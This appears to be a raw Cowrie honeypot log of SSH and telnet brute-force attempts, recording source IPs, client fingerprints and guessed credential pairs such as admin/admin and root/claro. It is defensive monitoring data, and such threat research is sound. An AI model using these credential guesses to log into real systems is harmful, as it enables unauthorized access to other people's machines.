{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:48:15.828137Z","src_ip":"212.227.13.69","session":"4e07cadcf83c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:48:15.888664Z","src_ip":"212.227.13.69","session":"4e07cadcf83c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00613951683044,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:48:51.130963Z","src_ip":"129.232.238.42","session":"b9ee5612d6ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55442,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae0876a7b00f","protocol":"ssh","message":"New connection: 103.15.226.202:55442 (10.17.0.5:22) [session: ae0876a7b00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:49:57.701648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:49:57.706202Z","src_ip":"103.15.226.202","session":"ae0876a7b00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:49:57.955220Z","src_ip":"103.15.226.202","session":"ae0876a7b00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"claro","message":"login attempt [root/claro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:49:58.698854Z","src_ip":"103.15.226.202","session":"ae0876a7b00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:49:59.949873Z","src_ip":"103.15.226.202","session":"ae0876a7b00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.127.153","src_port":59210,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e111b6d001","protocol":"ssh","message":"New connection: 117.50.127.153:59210 (10.17.0.5:22) [session: 86e111b6d001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:22.262175Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43712,"dst_ip":"159.203.135.109","dst_port":22,"session":"394b3c62bdc4","protocol":"ssh","message":"New connection: 2.57.122.208:43712 (159.203.135.109:22) [session: 394b3c62bdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:23.235857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:23.326861Z","src_ip":"2.57.122.208","session":"394b3c62bdc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:23.437610Z","src_ip":"2.57.122.208","session":"394b3c62bdc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:24.129119Z","src_ip":"2.57.122.208","session":"394b3c62bdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:25.348546Z","src_ip":"2.57.122.208","session":"394b3c62bdc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":47920,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40dfbac560a","protocol":"ssh","message":"New connection: 193.24.211.100:47920 (159.203.135.109:22) [session: a40dfbac560a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:33.862018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:33.866695Z","src_ip":"193.24.211.100","session":"a40dfbac560a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:33.994830Z","src_ip":"193.24.211.100","session":"a40dfbac560a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sunny","message":"login attempt [root/sunny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:34.429516Z","src_ip":"193.24.211.100","session":"a40dfbac560a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:50:35.544548Z","src_ip":"193.24.211.100","session":"a40dfbac560a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":56584,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eadcaadd100","protocol":"telnet","message":"New connection: 103.153.183.192:56584 (10.17.0.5:23) [session: 1eadcaadd100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:51:00.905266Z"}
{"eventid":"cowrie.session.closed","duration":0.005234479904174805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:51:00.910366Z","src_ip":"103.153.183.192","session":"1eadcaadd100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":46184,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe45206bcde1","protocol":"ssh","message":"New connection: 57.128.223.80:46184 (10.17.0.5:22) [session: fe45206bcde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:21.957080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:22.117481Z","src_ip":"57.128.223.80","session":"fe45206bcde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:22.217459Z","src_ip":"57.128.223.80","session":"fe45206bcde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:22.269675Z","src_ip":"117.50.127.153","session":"86e111b6d001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"1234","message":"login attempt [wp-user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:22.821630Z","src_ip":"57.128.223.80","session":"fe45206bcde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:23.935852Z","src_ip":"57.128.223.80","session":"fe45206bcde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":11592,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c36b11c733f","protocol":"telnet","message":"New connection: 212.55.149.117:11592 (10.17.0.5:23) [session: 7c36b11c733f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:52:54.240748Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40420,"dst_ip":"159.203.135.109","dst_port":22,"session":"55444187c97f","protocol":"ssh","message":"New connection: 2.57.122.208:40420 (159.203.135.109:22) [session: 55444187c97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:00.731731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:00.828101Z","src_ip":"2.57.122.208","session":"55444187c97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:00.935857Z","src_ip":"2.57.122.208","session":"55444187c97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:01.920245Z","src_ip":"2.57.122.208","session":"55444187c97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:03.131385Z","src_ip":"2.57.122.208","session":"55444187c97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45818,"dst_ip":"10.17.0.5","dst_port":22,"session":"978f19017bab","protocol":"ssh","message":"New connection: 103.15.226.202:45818 (10.17.0.5:22) [session: 978f19017bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:34.096978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:34.101882Z","src_ip":"103.15.226.202","session":"978f19017bab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:34.344203Z","src_ip":"103.15.226.202","session":"978f19017bab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567889","message":"login attempt [root/1234567889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:35.070421Z","src_ip":"103.15.226.202","session":"978f19017bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:53:36.316254Z","src_ip":"103.15.226.202","session":"978f19017bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03234958648682,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:54:54.272993Z","src_ip":"212.55.149.117","session":"7c36b11c733f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41476,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e271c438ab","protocol":"ssh","message":"New connection: 2.57.122.208:41476 (159.203.135.109:22) [session: d5e271c438ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:55:40.928730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:55:40.933841Z","src_ip":"2.57.122.208","session":"d5e271c438ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:55:41.127559Z","src_ip":"2.57.122.208","session":"d5e271c438ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:55:41.725000Z","src_ip":"2.57.122.208","session":"d5e271c438ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:55:42.932441Z","src_ip":"2.57.122.208","session":"d5e271c438ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16423,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff8f720114e","protocol":"ssh","message":"New connection: 2.57.121.25:16423 (159.203.135.109:22) [session: 3ff8f720114e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:04.978410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:56:04.984794Z","src_ip":"2.57.121.25","session":"3ff8f720114e","protocol":"ssh"}
